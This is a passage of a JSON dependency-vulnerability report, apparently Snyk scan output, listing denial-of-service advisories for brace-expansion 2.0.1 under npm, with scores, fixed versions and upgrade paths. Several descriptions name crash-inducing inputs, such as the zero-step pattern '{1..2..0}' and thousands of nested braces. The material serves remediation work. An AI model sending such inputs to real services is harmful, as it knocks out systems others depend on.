"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
